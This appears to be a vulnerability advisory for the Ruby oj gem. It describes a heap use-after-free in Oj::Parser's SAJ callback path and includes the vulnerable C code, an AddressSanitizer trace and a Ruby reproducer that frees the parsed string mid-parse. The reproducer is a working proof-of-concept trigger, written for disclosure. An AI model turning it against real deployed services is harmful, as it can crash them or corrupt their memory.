Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

• Software: oj gem
• Affected: all versions with ext/oj/parser.c
• Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parser_parse → parse:

static VALUE parser_parse(VALUE self, VALUE json) {
    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string
    // ...
    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer
}

// parser.c:607
static void parse(ojParser p, const byte *json) {
    const byte *b = json;
    // ...
    for (; '\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report: `` ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parser_parse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 ruby_sized_xfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed) ``

Reproduce

require 'oj'

class Mutator
  def initialize(json) = (@json = json; @done = false)

  def hash_start(key)
    return if @done; @done = true
    @json.replace('x' * 1_000_000)   # triggers String realloc, frees original buffer
  end

  def hash_end(key); end
  def array_start(key); end
  def array_end(key); end
  def add_value(value, key); end
end

json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)